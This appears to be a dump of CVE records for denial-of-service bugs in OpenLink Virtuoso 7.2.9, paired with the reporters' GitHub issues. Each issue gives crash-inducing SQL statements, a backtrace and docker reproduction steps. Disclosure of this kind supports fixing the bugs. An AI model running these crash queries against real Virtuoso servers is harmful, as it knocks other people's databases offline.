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CVE-2023-31612

2023-05-15T15:15:11.813

An issue in the dfe_qexp_list component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

https://github.com/openlink/virtuoso-opensource/issues/1125

github.com

The PoC is generated by my DBMS fuzzer. ```SQL CREATE TABLE t1 ( x VARCHAR, y VARCHAR ); SELECT IFNULL(MIN(x), -1), IFNULL(MAX(x), -1) FROM ( SELECT x FROM t1 UNION ALL SELECT NULL ) AS temp; ``` backtrace: ```c #0 0x737010 (dfe_qexp_list+0x40) #1 0x73711d (dfe_qexp_list+0x14d) #2 0x7474c9 (dfe_union_dfe+0xc9) #3 0x747878 (sqlg_set_ts_order+0x198) #4 0x747efd (sqlg_top_1+0xed) #5 0x70d4d4 (sqlo_top_select+0x164) #6 0x6b72bf (sql_stmt_comp+0x8bf) #7 0x6ba122 (sql_compile_1+0x1a62) #8 0x7c8cd0 (stmt_set_query+0x340) #9 0x7cabc2 (sf_sql_execute+0x922) #10 0x7cbf4e (sf_sql_execute_w+0x17e) #11 0x7d4c0d (sf_sql_execute_wrapper+0x3d) #12 0xe1f01c (future_wrapper+0x3fc) #13 0xe2691e (_thread_boot+0x11e) #14 0x7f460b246609 (start_thread+0xd9) #15 0x7f460b016133 (clone+0x43) ``` ways to reproduce (write poc to the file '/tmp/test.sql' first): ```bash # remove the old one docker container rm virtdb_test -f # start virtuoso through docker docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9 # wait the server starting sleep 10 # check whether the simple query works echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba # run the poc docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql" ```

virtuoso 7.2.9 crashed at dfe_qexp_list

https://api.github.com/repos/openlink/virtuoso-opensource/issues/1125/comments

2023-04-12T18:52:59Z

2023-04-17T19:07:44Z

https://github.com/openlink/virtuoso-opensource/issues/1125

CVE-2023-31613

2023-05-15T15:15:11.867

An issue in the __nss_database_lookup component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

https://github.com/openlink/virtuoso-opensource/issues/1121

github.com

The PoC is generated by my DBMS fuzzer. ```SQL CREATE TABLE t1 (c1 INT, c2 BINARY(100),c3 FLOAT); INSERT INTO t1 VALUES (100,'abcdefghij',3.0); CREATE TABLE t2 (c1 INT, c2 VARCHAR(100)); INSERT INTO t2 VALUES (2,'abcde'); UPDATE t1 SET c2 = (SELECT MAX(c1) FROM t2); ``` backtrace: ```c #0 0x7fd63dbe3a7d (__nss_database_lookup+0x2861d) #1 0xffffffffffffffff -- no symbol name found ``` ways to reproduce (write poc to the file '/tmp/test.sql' first): ```bash # remove the old one docker container rm virtdb_test -f # start virtuoso through docker docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9 # wait the server starting sleep 10 # check whether the simple query works echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba # run the poc docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql" ```

virtuoso 7.2.9 crashed at __nss_database_lookup

https://api.github.com/repos/openlink/virtuoso-opensource/issues/1121/comments

2023-04-12T18:46:15Z

2023-04-17T09:13:45Z

https://github.com/openlink/virtuoso-opensource/issues/1121

CVE-2023-31614

2023-05-15T15:15:11.913

An issue in the mp_box_deserialize_string function in openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) after running a SELECT statement.

https://github.com/openlink/virtuoso-opensource/issues/1117

github.com

## Description When running the following statement on an empty virtuoso-opensource database, the database just crashed: ```sql SELECT table_name as name, 'TABLE' as type, '' as parentname FROM information_schema.tables UNION SELECT column_name as name, data_type as type, table_name as parentname FROM information_schema.columns ``` ## The Way to Reproduce Just running the following command to reproduce the crash: ```bash docker run --name virtdb -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9 # start virtuoso through docker sleep 10 # wait the server starting echo "SELECT 1;" | docker exec -i virtdb isql 1111 dba # check whether the simple query works # The command to crash virtuoso echo "SELECT table_name as name, 'TABLE' as type, '' as parentname FROM information_schema.tables UNION SELECT column_name as name, data_type as type, table_name as parentname FROM information_schema.columns;" | docker exec -i virtdb isql 1111 dba ``` the output in shell: ``` OpenLink Virtuoso Interactive SQL (Virtuoso) Version 07.20.3236 as of Feb 27 2023 Type HELP; for help and EXIT; to exit. Connected to OpenLink Virtuoso Driver: 07.20.3236 OpenLink Virtuoso ODBC Driver SQL> *** Error 08S01: [Virtuoso Driver]CL065: Lost connection to server at line 1 of Top-Level: SELECT table_name as name, 'TABLE' as type, '' as parentname FROM information_schema.tables UNION SELECT column_name as name, data_type as type, table_name as parentname FROM information_schema.columns ``` You can see the error "Lost connection to server", and the container is stopped due to the abnormal exit of the virtuoso instance. ## Backtrace The backtrace when crash is as follow. I compiled virtuoso-opensource 7.2.9 with debug mode to get it. ``` Thread 8 "virtuoso-t" received signal SIGSEGV, Segmentation fault. [Switching to Thread 0x7fffdfdb4700 (LWP 1440941)] 0x00000000005533b6 in mp_box_deserialize_string (mp=0x7fffc806bfc0, text=0xe34ce1f37a6c3a64 <error: Cannot access memory at address 0xe34ce1f37a6c3a64>, opt_len=2147483647, offset=0) at regist.c:292 292 switch ((dtp_t)text[0]) (gdb) bt #0 0x00000000005533b6 in mp_box_deserialize_string (mp=0x7fffc806bfc0, text=0xe34ce1f37a6c3a64 <error: Cannot access memory at address 0xe34ce1f37a6c3a64>, opt_len=2147483647, offset=0) at regist.c:292 #1 0x0000000000427b34 in cha_box_col (cha=0x7fffec416108, ha=0x7fffc8025bf0, row=0x7fffec424720 "k9\241\220(\230\310\r", inx=3) at chash.c:2320 #2 0x00000000004253f1 in chash_to_memcache (inst=0x7fffc802b2f8, tree=0x7fffc802a158, ha=0x7fffc8025bf0) at chash.c:2364 #3 0x00000000004278e4 in setp_chash_distinct (setp=0x7fffc8025970, inst=0x7fffc802b2f8) at chash.c:2292 #4 0x0000000000593df7 in setp_node_run (setp=0x7fffc8025970, inst=0x7fffc802b2f8, state=0x7fffc802b2f8, print_blobs=0) at sort.c:385 #5 0x00000000005948c7 in setp_node_input (setp=0x7fffc8025970, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sort.c:606 #6 0x00000000006bb4e3 in qn_input (xx=0x7fffc8025970, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlrun.c:982 #7 0x00000000006bb74a in qn_send_output (src=0x7fffc8024ae0, state=0x7fffc802b2f8) at sqlrun.c:1028 #8 0x000000000042b6f8 in hash_source_chash_input (hs=0x7fffc8024ae0, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at chash.c:3233 #9 0x00000000004d268c in hash_source_input (hs=0x7fffc8024ae0, qst=0x7fffc802b2f8, qst_cont=0x7fffc802b2f8) at hash.c:2613 #10 0x00000000006bb4e3 in qn_input (xx=0x7fffc8024ae0, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlrun.c:982 #11 0x00000000006bb8e6 in qn_ts_send_output (src=0x7fffc8024400, state=0x7fffc802b2f8, after_join_test=0x0) at sqlrun.c:1059 #12 0x00000000006bf39f in table_source_input (ts=0x7fffc8024400, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlrun.c:1991 #13 0x00000000006bb4e3 in qn_input (xx=0x7fffc8024400, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlrun.c:982 #14 0x00000000006bb8e6 in qn_ts_send_output (src=0x7fffc80235b0, state=0x7fffc802b2f8, after_join_test=0x0) at sqlrun.c:1059 #15 0x00000000006bf39f in table_source_input (ts=0x7fffc80235b0, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlrun.c:1991 #16 0x00000000006bb4e3 in qn_input (xx=0x7fffc80235b0, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlrun.c:982 #17 0x0000000000594e55 in union_node_input (un=0x7fffc800f5d0, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sort.c:672 #18 0x000000000066c60f in qr_resume_pending_nodes (subq=0x7fffc8020680, inst=0x7fffc802b2f8) at sqlintrp.c:1185 #19 0x000000000066c923 in subq_next (subq=0x7fffc8020680, inst=0x7fffc802b2f8, cr_state=2) at sqlintrp.c:1243 #20 0x000000000070e52c in subq_node_vec_input (sqs=0x7fffc801dbc0, inst=0x7fffc802b2f8, state=0x0) at sqlvnode.c:702 #21 0x0000000000594a8b in subq_node_input (sqs=0x7fffc801dbc0, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sort.c:691 #22 0x00000000006bb4e3 in qn_input (xx=0x7fffc801dbc0, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlrun.c:982 #23 0x00000000006bb74a in qn_send_output (src=0x7fffc80202b0, state=0x7fffc802b2f8) at sqlrun.c:1028 #24 0x0000000000439b1a in chash_fill_input (fref=0x7fffc80202b0, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at chash.c:6013 #25 0x00000000004d3c05 in hash_fill_node_input (fref=0x7fffc80202b0, inst=0x7fffc802b2f8, qst=0x7fffc802b2f8) at hash.c:3253 #26 0x00000000006bb4e3 in qn_input (xx=0x7fffc80202b0, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlrun.c:982 #27 0x00000000006bb74a in qn_send_output (src=0x7fffc8027e30, state=0x7fffc802b2f8) at sqlrun.c:1028 #28 0x000000000070e189 in set_ctr_vec_input (sctr=0x7fffc8027e30, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlvnode.c:632 #29 0x0000000000596fb4 in set_ctr_input (sctr=0x7fffc8027e30, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sort.c:1319 #30 0x00000000006bb4e3 in qn_input (xx=0x7fffc8027e30, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlrun.c:982 #31 0x00000000006c791e in qr_exec (cli=0x7fffc8000e30, qr=0x7fffc801a380, caller=0x2, cr_name=0x7fffc802bdf8 "s1111_1_0", stmt=0x7fffc8018b30, lc_ret=0x0, parms=0x7fffd4021de8, opts=0x7fffd4021f08, named_params=0) at sqlrun.c:4344 #32 0x00000000006d1f5b in sf_sql_execute (stmt_id=0x7fffd4021e08 "s1111_1_0", text=0x72e2658 "\320\b", cursor_name=0x7fffd4021ec8 "s1111_1_0", params=0x7fffd4021ea8, current_ofs=0x7fffd4021dc8, options=0x7fffd4021f08) at sqlsrv.c:2006 #33 0x00000000006d26fe in sf_sql_execute_w (stmt_id=0x7fffd4021e08 "s1111_1_0", text=0x72e2658 "\320\b", cursor_name=0x7fffd4021ec8 "s1111_1_0", params=0x7fffd4021ea8, current_ofs=0x7fffd4021dc8, options=0x7fffd4021f08) at sqlsrv.c:2049 #34 0x00000000006d9620 in sf_sql_execute_wrapper (args=0x7fffdfdb3e30) at sqlsrv.c:3995 #35 0x0000000000b777f6 in future_wrapper (ignore=0x0) at Dkernel.c:1171 #36 0x0000000000b7da94 in _thread_boot (arg=0x7fffd4011370) at sched_pthread.c:296 #37 0x00007ffff7c3a609 in start_thread (arg=<optimized out>) at pthread_create.c:477 --Type <RET> for more, q to quit, c to continue without paging-- #38 0x00007ffff7a0a133 in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95 ```

virtuoso *crashed* after running a SELECT statement

https://api.github.com/repos/openlink/virtuoso-opensource/issues/1117/comments

2023-04-10T17:55:59Z

2023-04-17T09:13:46Z

https://github.com/openlink/virtuoso-opensource/issues/1117

CVE-2023-31615

2023-05-15T15:15:11.963

An issue in the chash_array component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

https://github.com/openlink/virtuoso-opensource/issues/1124

github.com

The PoC is generated by my DBMS fuzzer. ```SQL CREATE TABLE t1(x INTEGER UNIQUE); CREATE TABLE k(v varchar(255), excluded varchar(255)); INSERT INTO t1(x, x, x, x, x, x, x) VALUES(16183,15638,6,0,5,2,0); SELECT 'one', t1.* FROM t1 LEFT JOIN k ON t1.x=k.v WHERE k.v IS NULL; ``` backtrace: ```c #0 0x4257c4 (chash_array+0x834) #1 0x43932f (hash_source_chash_input+0x6df) #2 0x7ac43e (qn_input+0x3ce) #3 0x7ac8a6 (qn_send_output+0x236) #4 0x81e26d (set_ctr_vec_input+0x94d) #5 0x7ac43e (qn_input+0x3ce) #6 0x7acb6f (qn_ts_send_output+0x23f) #7 0x7b247e (table_source_input+0x16ee) #8 0x7ac43e (qn_input+0x3ce) #9 0x7ac8a6 (qn_send_output+0x236) #10 0x44c34e (chash_fill_input+0x13e) #11 0x535d6f (hash_fill_node_input+0xef) #12 0x7ac43e (qn_input+0x3ce) #13 0x7ac8a6 (qn_send_output+0x236) #14 0x81e26d (set_ctr_vec_input+0x94d) #15 0x7ac43e (qn_input+0x3ce) #16 0x7bdc6e (qr_exec+0x11ee) #17 0x7cb446 (sf_sql_execute+0x11a6) #18 0x7cbf4e (sf_sql_execute_w+0x17e) #19 0x7d4c0d (sf_sql_execute_wrapper+0x3d) #20 0xe1f01c (future_wrapper+0x3fc) #21 0xe2691e (_thread_boot+0x11e) #22 0x7fac44860609 (start_thread+0xd9) #23 0x7fac44630133 (clone+0x43) ``` ways to reproduce (write poc to the file '/tmp/test.sql' first): ```bash # remove the old one docker container rm virtdb_test -f # start virtuoso through docker docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9 # wait the server starting sleep 10 # check whether the simple query works echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba # run the poc docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql" ```

virtuoso 7.2.9 crashed at chash_array

https://api.github.com/repos/openlink/virtuoso-opensource/issues/1124/comments

2023-04-12T18:50:37Z

2023-04-14T12:55:18Z

https://github.com/openlink/virtuoso-opensource/issues/1124

CVE-2023-31616

2023-05-15T15:15:12.010

An issue in the bif_mod component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

https://github.com/openlink/virtuoso-opensource/issues/1122

github.com

The PoC is generated by my DBMS fuzzer. ```SQL SELECT MOD(-9223372036854775808, -1); ``` backtrace: ```c #0 0x66a32e (bif_mod+0xce) #1 0x74ae62 (sqlr_run_bif_in_sandbox+0x392) #2 0x79b598 (sqlp_patch_call_if_special_or_optimizable+0x1148) #3 0xccffe7 (scn3yyparse+0xc5d7) #4 0x6b995b (sql_compile_1+0x129b) #5 0x7c8cd0 (stmt_set_query+0x340) #6 0x7cabc2 (sf_sql_execute+0x922) #7 0x7cbf4e (sf_sql_execute_w+0x17e) #8 0x7d4c0d (sf_sql_execute_wrapper+0x3d) #9 0xe1f01c (future_wrapper+0x3fc) #10 0xe2691e (_thread_boot+0x11e) #11 0x7f1cfacc6609 (start_thread+0xd9) #12 0x7f1cfaa96133 (clone+0x43) ``` ways to reproduce (write poc to the file '/tmp/test.sql' first): ```bash # remove the old one docker container rm virtdb_test -f # start virtuoso through docker docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9 # wait the server starting sleep 10 # check whether the simple query works echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba # run the poc docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql" ```

virtuoso 7.2.9 crashed at bif_mod

https://api.github.com/repos/openlink/virtuoso-opensource/issues/1122/comments

2023-04-12T18:47:44Z

2023-04-14T08:12:11Z

https://github.com/openlink/virtuoso-opensource/issues/1122

CVE-2023-31617

2023-05-15T15:15:12.057

An issue in the dk_set_delete component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

https://github.com/openlink/virtuoso-opensource/issues/1127

github.com

The PoC is generated by my DBMS fuzzer. ```SQL CREATE TABLE b ( folders VARCHAR(80), folderid VARCHAR(80), parentid VARCHAR(80), rootid VARCHAR(80), c INTEGER, path VARCHAR(80), id VARCHAR(80), i VARCHAR(80), d VARCHAR(80), e VARCHAR(80), f VARCHAR(80) ); SELECT -(coalesce((select max(coalesce((select b.f from b where not exists(select 1 from b where (abs(+rootid+19+19)/abs(b.rootid))<b.rootid) or 19+f>=(select -max(19) from b)+b.f),b.e+b.f)* -b.e+19-f) from b where (( -b.id<19) or d>=id)),b.id))*id*((b.rootid))-17 FROM b WHERE NOT (b.e not between b.f*id and b.f+ -d); ``` backtrace: ```c #0 0xe05b99 (dk_set_delete+0x39) #1 0x7ff2b5 (sqlg_vec_qns+0x365) #2 0x7fcfc7 (cv_vec_slots+0x947) #3 0x7fc563 (sqlg_vec_after_test+0x1b3) #4 0x80148f (qn_vec_slots+0x61f) #5 0x7ff412 (sqlg_vec_qns+0x4c2) #6 0x81464c (sqlg_vector_subq+0xdc) #7 0x814d91 (sqlg_vector+0x61) #8 0x6baa15 (sql_compile_1+0x2355) #9 0x7c8cd0 (stmt_set_query+0x340) #10 0x7cabc2 (sf_sql_execute+0x922) #11 0x7cbf4e (sf_sql_execute_w+0x17e) #12 0x7d4c0d (sf_sql_execute_wrapper+0x3d) #13 0xe1f01c (future_wrapper+0x3fc) #14 0xe2691e (_thread_boot+0x11e) #15 0x7fc16f67c609 (start_thread+0xd9) #16 0x7fc16f44c133 (clone+0x43) #0 0xe10319 (gpf_notice+0x209) #1 0xde599f (dk_free_box+0x2df) #2 0x6b35cc (fun_ref_free+0x4c) #3 0x50498d (qr_free+0x2ad) #4 0x504a1c (qr_free+0x33c) #5 0x504a1c (qr_free+0x33c) #6 0x504a1c (qr_free+0x33c) #7 0x504a1c (qr_free+0x33c) #8 0x7c4def (cli_scrap_cached_statements+0x41f) #9 0x7c53f5 (client_connection_free+0x265) #10 0x7c6365 (srv_client_connection_died+0x205) #11 0x7c652d (srv_client_session_died+0x2d) #12 0xe14dff (session_is_dead+0x6f) #13 0xe1f3d0 (future_wrapper+0x7b0) #14 0xe2691e (_thread_boot+0x11e) #15 0x7fefc040b609 (start_thread+0xd9) #16 0x7fefc01db133 (clone+0x43) ``` ways to reproduce (write poc to the file '/tmp/test.sql' first): ```bash # remove the old one docker container rm virtdb_test -f # start virtuoso through docker docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9 # wait the server starting sleep 10 # check whether the simple query works echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba # run the poc docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql" ```

virtuoso 7.2.9 crashed at dk_set_delete

https://api.github.com/repos/openlink/virtuoso-opensource/issues/1127/comments

2023-04-12T19:01:25Z

2023-04-14T08:12:12Z

https://github.com/openlink/virtuoso-opensource/issues/1127

CVE-2023-31618

2023-05-15T15:15:12.110

An issue in the sqlc_union_dt_wrap component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

https://github.com/openlink/virtuoso-opensource/issues/1136

github.com

The PoC is generated by my DBMS fuzzer. ```SQL SELECT SUM(v), COUNT(*) FROM gstest_empty UNION ALL SELECT SUM(v), NULL FROM gstest_empty UNION ALL SELECT NULL, COUNT(*) FROM gstest_empty UNION ALL SELECT NULL, NULL ``` backtrace: ```c #0 0x81a65e (sqlc_union_dt_wrap+0x5e) #1 0x81a783 (sqlc_union_order+0x33) #2 0x6b6f11 (sql_stmt_comp+0x511) #3 0x6ba122 (sql_compile_1+0x1a62) #4 0x7c8cd0 (stmt_set_query+0x340) #5 0x7cabc2 (sf_sql_execute+0x922) #6 0x7cbf4e (sf_sql_execute_w+0x17e) #7 0x7d4c0d (sf_sql_execute_wrapper+0x3d) #8 0xe1f01c (future_wrapper+0x3fc) #9 0xe2691e (_thread_boot+0x11e) #10 0x7f5244ae3609 (start_thread+0xd9) #11 0x7f52448b3133 (clone+0x43) ``` ways to reproduce (write poc to the file '/tmp/test.sql' first): ```bash # remove the old one docker container rm virtdb_test -f # start virtuoso through docker docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9 # wait the server starting sleep 10 # check whether the simple query works echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba # run the poc docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql" ```

virtuoso 7.2.9 crashed at sqlc_union_dt_wrap

https://api.github.com/repos/openlink/virtuoso-opensource/issues/1136/comments

2023-04-12T19:34:10Z

2023-04-14T08:12:15Z

https://github.com/openlink/virtuoso-opensource/issues/1136

CVE-2023-31619

2023-05-15T15:15:12.170

An issue in the sch_name_to_object component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

https://github.com/openlink/virtuoso-opensource/issues/1133

github.com

The PoC is generated by my DBMS fuzzer. ```SQL CREATE TABLE t1(x VARCHAR, k VARCHAR, v VARCHAR); CREATE VIEW t1 AS SELECT x, x FROM t1; UPDATE t1 SET x = x + 100; ``` backtrace: ```c #0 0x6080d1 (sch_name_to_object+0x11) #1 0x7dcf6f (sqlc_update_searched+0x6f) #2 0x817cd1 (sqlc_update_view+0xaa1) #3 0x7ddad0 (sqlc_update_searched+0xbd0) #4 0x817cd1 (sqlc_update_view+0xaa1) #5 0x7ddad0 (sqlc_update_searched+0xbd0) #6 0x817cd1 (sqlc_update_view+0xaa1) #7 0x7ddad0 (sqlc_update_searched+0xbd0) #8 0x817cd1 (sqlc_update_view+0xaa1) #9 0x7ddad0 (sqlc_update_searched+0xbd0) #10 0x817cd1 (sqlc_update_view+0xaa1) ... #2546 0x817cd1 (sqlc_update_view+0xaa1) #2547 0x7ddad0 (sqlc_update_searched+0xbd0) #2548 0x817cd1 (sqlc_update_view+0xaa1) #2549 0x7ddad0 (sqlc_update_searched+0xbd0) #2550 0x817cd1 (sqlc_update_view+0xaa1) #2551 0x7ddad0 (sqlc_update_searched+0xbd0) #2552 0x6b7212 (sql_stmt_comp+0x812) #2553 0x6ba122 (sql_compile_1+0x1a62) #2554 0x7c8cd0 (stmt_set_query+0x340) #2555 0x7cabc2 (sf_sql_execute+0x922) #2556 0x7cbf4e (sf_sql_execute_w+0x17e) #2557 0x7d4c0d (sf_sql_execute_wrapper+0x3d) #2558 0xe1f01c (future_wrapper+0x3fc) #2559 0xe2691e (_thread_boot+0x11e) #2560 0x7f5b7a921609 (start_thread+0xd9) #2561 0x7f5b7a6f1133 (clone+0x43) ``` ways to reproduce (write poc to the file '/tmp/test.sql' first): ```bash # remove the old one docker container rm virtdb_test -f # start virtuoso through docker docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9 # wait the server starting sleep 10 # check whether the simple query works echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba # run the poc docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql" ```

virtuoso 7.2.9 crashed at sch_name_to_object

https://api.github.com/repos/openlink/virtuoso-opensource/issues/1133/comments

2023-04-12T19:26:23Z

2023-04-14T08:41:03Z

https://github.com/openlink/virtuoso-opensource/issues/1133

CVE-2023-31620

2023-05-15T15:15:12.237

An issue in the dv_compare component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

https://github.com/openlink/virtuoso-opensource/issues/1128

github.com

The PoC is generated by my DBMS fuzzer. ```SQL CREATE TABLE element ( name VARCHAR(80), test1 VARCHAR(80), f1 VARCHAR(80), f2 VARCHAR(80), code INTEGER, t1 VARCHAR(80), a VARCHAR(80), example VARCHAR(80), b VARCHAR(80), c VARCHAR(80), folders VARCHAR(80) ); INSERT INTO element(b,b) VALUES(38,1444); SELECT (select ( -count(distinct case case code when b then c*case when b<=element.b+b then code when (abs(element.c)/abs(case when b-coalesce((select max(element.c-element.b) from element where not exists(select 1 from element where 17 in (b,13,(b)) or b in (b,c,element.b))),element.b) not in (b,((c)),element.b) then -19 when c between code and 13 then 19 else element.c end))=13 then c else 13 end else 17 end when 13 then element.c else element.b end-element.c)) from element) FROM element WHERE coalesce((select max(element.b) from element where element.c<>element.c-13),element.code)>=b or b*coalesce((select max((b)) from element where c not between +coalesce((select max(13) from element where b between -(abs(( -coalesce((select max(case c when element.c then b else -element.c end) from element where 11>b and element.b<element.b),element.c)))/abs(b)) and b),code) and element.b),element.b)* -19 not between (17) and element.c and (element.b<=code); ``` backtrace: ```c #0 0x60afab (dv_compare+0x3b) #1 0xc278fb (cmp_vec_any+0x24b) #2 0xc28caa (cmp_vec+0x12ba) #3 0x751b48 (code_vec_run_v+0x1368) #4 0x7ac72d (qn_send_output+0xbd) #5 0x7ac43e (qn_input+0x3ce) #6 0x7ac8a6 (qn_send_output+0x236) #7 0x81e26d (set_ctr_vec_input+0x94d) #8 0x7ac43e (qn_input+0x3ce) #9 0x74f268 (subq_next+0x258) #10 0x81cfa2 (ins_vec_subq+0x2a2) #11 0x75119b (code_vec_run_v+0x9bb) #12 0x7b5a9b (end_node_input+0x13b) #13 0x7ac43e (qn_input+0x3ce) #14 0x7acb6f (qn_ts_send_output+0x23f) #15 0x7b247e (table_source_input+0x16ee) #16 0x7ac43e (qn_input+0x3ce) #17 0x7b9c3b (fun_ref_node_input+0x36b) #18 0x7ac43e (qn_input+0x3ce) #19 0x7ac8a6 (qn_send_output+0x236) #20 0x81e26d (set_ctr_vec_input+0x94d) #21 0x7ac43e (qn_input+0x3ce) #22 0x74f268 (subq_next+0x258) #23 0x81cfa2 (ins_vec_subq+0x2a2) #24 0x75119b (code_vec_run_v+0x9bb) #25 0x7b5a9b (end_node_input+0x13b) #26 0x7ac43e (qn_input+0x3ce) #27 0x7acb6f (qn_ts_send_output+0x23f) #28 0x7b247e (table_source_input+0x16ee) #29 0x7ac43e (qn_input+0x3ce) #30 0x7b9c3b (fun_ref_node_input+0x36b) #31 0x7ac43e (qn_input+0x3ce) #32 0x7ac8a6 (qn_send_output+0x236) #33 0x81e26d (set_ctr_vec_input+0x94d) #34 0x7ac43e (qn_input+0x3ce) #35 0x74f268 (subq_next+0x258) #36 0x81cfa2 (ins_vec_subq+0x2a2) #37 0x75119b (code_vec_run_v+0x9bb) #38 0x7b5a9b (end_node_input+0x13b) #39 0x7ac43e (qn_input+0x3ce) #40 0x7acb6f (qn_ts_send_output+0x23f) #41 0x7b247e (table_source_input+0x16ee) #42 0x7ac43e (qn_input+0x3ce) #43 0x7ac8a6 (qn_send_output+0x236) #44 0x81e26d (set_ctr_vec_input+0x94d) #45 0x7ac43e (qn_input+0x3ce) #46 0x7bdc6e (qr_exec+0x11ee) #47 0x7cb446 (sf_sql_execute+0x11a6) #48 0x7cbf4e (sf_sql_execute_w+0x17e) #49 0x7d4c0d (sf_sql_execute_wrapper+0x3d) #50 0xe1f01c (future_wrapper+0x3fc) #51 0xe2691e (_thread_boot+0x11e) #52 0x7f731e31d609 (start_thread+0xd9) #53 0x7f731e0ed133 (clone+0x43) ``` ways to reproduce (write poc to the file '/tmp/test.sql' first): ```bash # remove the old one docker container rm virtdb_test -f # start virtuoso through docker docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9 # wait the server starting sleep 10 # check whether the simple query works echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba # run the poc docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql" ```

virtuoso 7.2.9 crashed at dv_compare

https://api.github.com/repos/openlink/virtuoso-opensource/issues/1128/comments

2023-04-12T19:03:51Z

2023-04-17T18:53:42Z

https://github.com/openlink/virtuoso-opensource/issues/1128

CVE-2023-31621

2023-05-15T15:15:12.300

An issue in the kc_var_col component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

https://github.com/openlink/virtuoso-opensource/issues/1130

github.com

The PoC is generated by my DBMS fuzzer. ```SQL CREATE TABLE brin_test(a INTEGER NOT NULL); INSERT INTO brin_test (a) VALUES(5); INSERT INTO brin_test (a) VALUES(5); ALTER TABLE brin_test ADD c1 VARCHAR(20) NOT NULL ; UPDATE brin_test SET a = a + 1 WHERE a = 5; ``` backtrace: ```c #0 0x5cfed5 (kc_var_col+0x155) #1 0x5f6cb6 (page_copy_col+0x666) #2 0x5d6e62 (page_row_bm+0x782) #3 0x5db6b0 (page_apply_1+0xb90) #4 0x5dd8d9 (page_apply+0x119) #5 0x86b517 (upd_refit_row+0x127) #6 0x86ce54 (update_node_run_1+0xdf4) #7 0x821736 (update_node_vec_run+0x836) #8 0x86eaf2 (update_node_input+0x2b2) #9 0x7ac43e (qn_input+0x3ce) #10 0x7acb6f (qn_ts_send_output+0x23f) #11 0x7b247e (table_source_input+0x16ee) #12 0x7ac43e (qn_input+0x3ce) #13 0x7ac8a6 (qn_send_output+0x236) #14 0x81e26d (set_ctr_vec_input+0x94d) #15 0x7ac43e (qn_input+0x3ce) #16 0x7bee59 (qr_dml_array_exec+0x839) #17 0x7cb872 (sf_sql_execute+0x15d2) #18 0x7cbf4e (sf_sql_execute_w+0x17e) #19 0x7d4c0d (sf_sql_execute_wrapper+0x3d) #20 0xe1f01c (future_wrapper+0x3fc) #21 0xe2691e (_thread_boot+0x11e) #22 0x7f2e9644f609 (start_thread+0xd9) #23 0x7f2e9621f133 (clone+0x43) ``` ways to reproduce (write poc to the file '/tmp/test.sql' first): ```bash # remove the old one docker container rm virtdb_test -f # start virtuoso through docker docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9 # wait the server starting sleep 10 # check whether the simple query works echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba # run the poc docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql" ```

virtuoso 7.2.9 crashed at kc_var_col

https://api.github.com/repos/openlink/virtuoso-opensource/issues/1130/comments

2023-04-12T19:18:19Z

